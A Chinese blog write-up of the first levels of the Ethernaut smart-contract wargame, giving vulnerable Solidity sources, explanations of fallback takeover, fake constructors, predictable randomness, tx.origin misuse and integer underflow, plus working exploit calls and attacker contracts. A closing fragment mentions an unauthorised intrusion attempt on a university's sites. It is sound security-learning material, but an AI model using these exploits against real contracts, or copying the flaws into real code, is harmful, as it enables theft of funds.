最近稍微有点空闲,就想去好好研究下智能合约的安全问题,因为是新兴产业,所以没有现成的教程或者是材料,所以只能找一些较为基础但是能够帮助我们学习智能合约的平台,这里的Ethernaut就是一个基于web3和solidity的智能合约审计平台。
平台地址:https://ethernaut.zeppelin.solutions
0. Hello Ethernaut
这里按照教程来走就好了,首先要安装MetaMask这款插件,然后将网络设置成Ropsten test network,最后给自己打点钱,这里由于是测试网络,因此均是免费的。
打钱的就用这里的“buy”即可,不需要真正意义上的打钱!
下面就是创建实例“Get new instance”,这里创建时候需要付“gas”,也就是从你的以太坊账户中扣钱(具体解释参照这篇文章http://ns1.btckan.com/news/topic/48347),然后在metamask中同意扣费即可运行智能合约。
这里类似于web测试,但是输入需要在console里进行交互
下面就直接贴出wp,并对部分地方进行解释
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
contract.info()
_v: “You will find what you need in info1().”
contract.info1()
_v: “Try info2(), but with “hello” as a parameter.”
contract.info2(‘hello’)
_v: “The property infoNum holds the number of the next info method to call.”
contract.infoNum()
0: 42
length: 1
contract.info42()
_v: “theMethodName is the name of the next method.”
contract.theMethodName()
_v: “The method name is method7123949.”
contract.method7123949()
_v: “If you know the password, submit it to authenticate().”
contract.password()
_v: “ethernaut0”
contract.authenticate(‘ethernaut0’)
//这一步会提交gas,所以记得在metamask里同意一下
⛏️ Sent transaction ⛏ https://ropsten.etherscan.io/tx/0x3d902ba276ecfdd15ca9c5dface877e131e48a424a62ff0bef2d111c1dd09c62
⛏️ Mined transaction ⛏ https://ropsten.etherscan.io/tx/0x3d902ba276ecfdd15ca9c5dface877e131e48a424a62ff0bef2d111c1dd09c62
|
最后提交instance,然后就能看到合约源码了,这里如果对代码不熟悉,可能还需要去看solidity文档(https://solidity.readthedocs.io/en/develop/),另外推荐一个solidity小游戏网站(https://cryptozombies.io/zh/course)
回过头来看
这个abi接口类似于API接口,在这个接口里我们可以看到所有可以调用的函数,具体分析文章(https://blog.csdn.net/shunfa888/article/details/80073081)
1. FallBack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
pragma solidity ^0.4.18;
import ‘zeppelin-solidity/contracts/ownership/Ownable.sol’;
contract Fallback is Ownable {
mapping(address => uint) public contributions;
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
|
这一关其实最重要的就是最后的那个未命名函数,具体解释文章如下:http://www.tryblockchain.org/14825685263030.html
这里的未命名函数即为回调函数,意思是如果调用合约时,没有匹配上任何一个函数(或者没有传哪怕一点数据),就会调用默认的回退函数。此外,当合约收到ether
时(没有任何其它数据),这个函数也会被执行。
因此这里其实就是考察的这个点,回到代码中去,这里我们的最终要求是成为合约owner,并且要将取出合约所有的balance,因此第一步我们需要成为合约owner,这里条件是转钱,每次只能转小于0.01个ether,合约同名函数Fallback为初始化函数,这里初始化时默认给owner 1000ether,所以如果一次一次转,然后挤掉owner,这显然是不现实的,因此就需要来看看这个回调函数,当转钱数目大于0并且贡献值大于0时,发送者就能成为合约债主,所以这里的顺序应该是先做贡献,然后用sendTransaction这个函数来转钱,转钱时候触发回调函数,成为债主,最后使用withdraw来提钱。
1
2
3
4
5
|
contract.contribute({value:1})
contract.sendTransaction({value:10})
contract.withdraw()
|
最后submit instance即可~
知识点:回调函数的应用
2.Fallout
这条题目有点莫名其妙,通关条件是成为合约owner,所有重点看怎么成为owner的条件,下面附上源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
pragma solidity ^0.4.18;
import ‘zeppelin-solidity/contracts/ownership/Ownable.sol’;
contract Fallout is Ownable {
mapping (address => uint) allocations;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] += msg.value;
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
|
这里设的坑点是想要成为owner只有constructor里的函数,但是跟上一题目一样,合约同名函数为构造函数,也就是在合约初始化的时候用的,但是奇怪的是这里的构造函数是payable类型,也就是用来转账的函数,明显不符合初始化的功能,如果仔细看就会发现这个注释constructor其实是用来误导你的,因为这个函数中其实用1来混杂l,所以这其实不是个构造函数,所以直接调用这个函数,然后进行转账即可
1
2
3
4
5
|
contract.Fal1out({value:1})
player
contract.owner()
//这里想知道自己是不是owner,查看player的id和owner的id是否对应即可
|
知识点:构造函数的使用
3.Coin Flip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number–1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
|
这一关名为硬币翻转问题,也就是猜测每一次硬币翻转的是正面还是反面,然后用true和false来表示,连续猜对十次即可通关,猜错一次直接重置次数为0
首先来看构造函数,将我们的猜对次数初始化为0,然后进行flip函数,这个函数传入bool值,返回bool值
blockvalue表示前一个区块的hash值,revert函数表示重置为初试状态,FACTOR其实是2^255,所以这里的coinFlip是blockValue/2^255,由于FACTOR值换算为256的二进制,则第一位为1,后面全为0,而现在我们不知道前一个区块的hash值,又由于这里是整除,也就是最后结果非0既1,这取决与前一个区块hash值的最高位,类似于这种题目,我们需要另外部署智能合约,然后计算区块的hash值
这里部署采用的是在线的平台https://remix.ethereum.org/
下面给出我的部署代码(这个平台的在线编译十分严格,所以是规范智能合约书写的好平台!)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public{
//构造函数的标准写法
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number–1));
//现在用blockhash直接替代block.blockHash值
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract coin_hack {
CoinFlip fliphack;
// replace target by your instance address
address target = 0x91138715173bd57fe41Bf3B269c387Cb0d843ded;
//这里的target值为instance address,但是需要注意的这里不能直接复制粘贴console的值,在最终的转账里这样的address是不被认可的,因为不会通过checkSum函数
//这里在线compile会给出正确的addreee,其实那几位就是校验和用的,所以这里推荐的做法就是先复制粘贴,然后在线编译更改正确的address
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public{
fliphack = CoinFlip(target);
}
function pre_result() public view returns (bool){
uint256 blockValue = uint256(blockhash(block.number–1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
return coinFlip == 1 ? true : false;
}
function hack() public {
bool guess = pre_result();
fliphack.flip(guess);
}
}
|
然后点击Run,这里选择coin_hack函数进行编译,每一步都会付gas所以当页面没反应时记得查看一下是不是需要付gas
付完gas之后右边的Transactions recorded应该就有了,这时候记得保存record为json文件然后就可以run transactions
最后在deployed contracts里就有部署的合约,然后调用hack函数,这里也需要付gas,由于网速问题,这里只能一个一个调用,然后回到题目中输入
即可查看猜测成功的次数(_v里的c值即表示成功次数)
知识点:智能合约的计算问题
4.Telephone
先贴代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
|
这里通关条件为成为合约owner,这里函数也很简单,首先是构造函数,将合约owner赋给合约创建者,然后是一个改变合约状态的函数,这里先来了解下tx.origin和msg.sender
在一个合约里,他们都表示当前交易的发送账号地址,但是如果涉及两个合约A和B,用户通过合约A来调用合约B,那么对于合约B来说,msg.sender则表示合约A,tx.origin则表示用户,所以这一题想要通关仍需要构造两个合约。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract Telephone_hack {
Telephone target= Telephone(0x0a7522d67974e7bcE78CB7C74ea1e0C9a5CC714A);
function hack() public {
target.changeOwner(msg.sender);
}
}
|
然后查看contract.owner就会发现已经变成了自己。
这里附上讲解tx.origin和msg.sender的文章:https://bitshuo.com/topic/59afc169fbcd445a40a3e2e6
知识点:tx.origin的应用
5.Token
通关目标是黑掉这个合约,初始化给了用户20个token,想办法获得更多
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] – _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
|
这里首先是构造函数,将用户的balance值进行初始化,这里初始化为多少我们并不知道
最后的balanceOf函数是用来查看用户余额的,因此只能看中间的transfer函数存不存在问题
这里出现的问题其实就是无符号计算的问题,也就是整数溢出,这里的balances和_value值均是无符号整数,所以当1-2的时候就会变成-1,但是这里由于是无符号整数,所以会变成111111……这样最大的值,所以这里默认有20个,那么转21个既可以通过整数下溢来攻击这个合约
1
2
3
|
contract.transfer(0,21)
contract.balanceOf(0)
|
然后提交就能显示通关的页面~
知识点:整数下溢攻击
起初想对母校进行一次友情检测,实在没有找到突破口就想从旁站看看,然后就有了这篇文章,但是最后没有提权成功,很气~ 旁站有很多个,但是要么是找到漏洞找不到后台,要么找到后台直接是个静态页面,搜寻了很久之后,最终在这个废品网找到了突破口! 随手一试,果然试出了问题…
请登录后发表评论
注册